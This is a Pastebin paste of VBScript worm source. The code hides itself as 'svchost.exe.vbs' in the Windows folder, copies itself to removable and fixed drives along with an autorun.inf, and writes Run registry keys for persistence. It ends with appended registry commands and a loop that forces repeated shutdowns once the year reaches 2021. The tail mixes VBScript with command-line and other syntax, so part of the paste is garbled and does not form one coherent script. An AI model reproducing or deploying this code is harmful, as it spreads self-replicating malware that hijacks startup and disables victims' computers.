Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- On error resume next
- dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
- atr = “[autorun]”&vbcrlf&”shellexecute=wscript.exe svchost.exe.vbs”
- set fs = createobject(“Scripting.FileSystemObject”)
- set mf = fs.getfile(Wscript.ScriptFullname)
- dim text,size
- size = mf.size
- check = mf.drive.drivetype
- set text=mf.openastextstream(1,-2)
- do while not text.atendofstream
- mysource=mysource&text.readline
- mysource=mysource & vbcrlf
- loop
- do
- Set winpath = fs.getspecialfolder(0)
- set tf = fs.getfile(winpath & “\svchost.exe.vbs”)
- tf.attributes = 32
- set tf=fs.createtextfile(winpath & “\svchost.exe.vbs”,2,true)
- tf.write mysource
- tf.close
- set tf = fs.getfile(winpath & “\svchost.exe.vbs”)
- tf.attributes = 39
- for each flashdrive in fs.drives
- If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
- set tf=fs.getfile(flashdrive.path &”\svchost.exe.vbs”)
- tf.attributes =32
- set tf=fs.createtextfile(flashdrive.path &”\svchost.exe.vbs”,2,true)
- tf.write mysource
- tf.close
- set tf=fs.getfile(flashdrive.path &”\svchost.exe.vbs”)
- tf.attributes =39
- set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
- tf.attributes = 32
- set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
- tf.write atr
- tf.close
- set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
- tf.attributes=39
- end if
- next
- set rg = createobject(“WScript.Shell”)
- rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\svchost.exe.vbs”
- rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,””
- rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
- if check <> 1 then
- Wscript.sleep 100000
- end if
- loop while check<>1
- set sd = createobject(“Wscript.shell”)
- sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
- reg add
- hkey_local_machine\software\microsoft\windows\currentversionrun\vWINDOWsAPI\t
- reg_sz/d c:windowswimn32.bat/f
- reg add
- hkey_current_user\software\microsoft\windows\currentversionrun\vCONTROLexit\t
- reg_sz/d c:windowswimn32.bat/f
- do while year(now) >= 2021
- WScript.sleep 20000
- Call Shell("C:\Windows\System32\Shutdown.exe -s -t 00", vbHide)
Add Comment
Please, Sign In to add comment
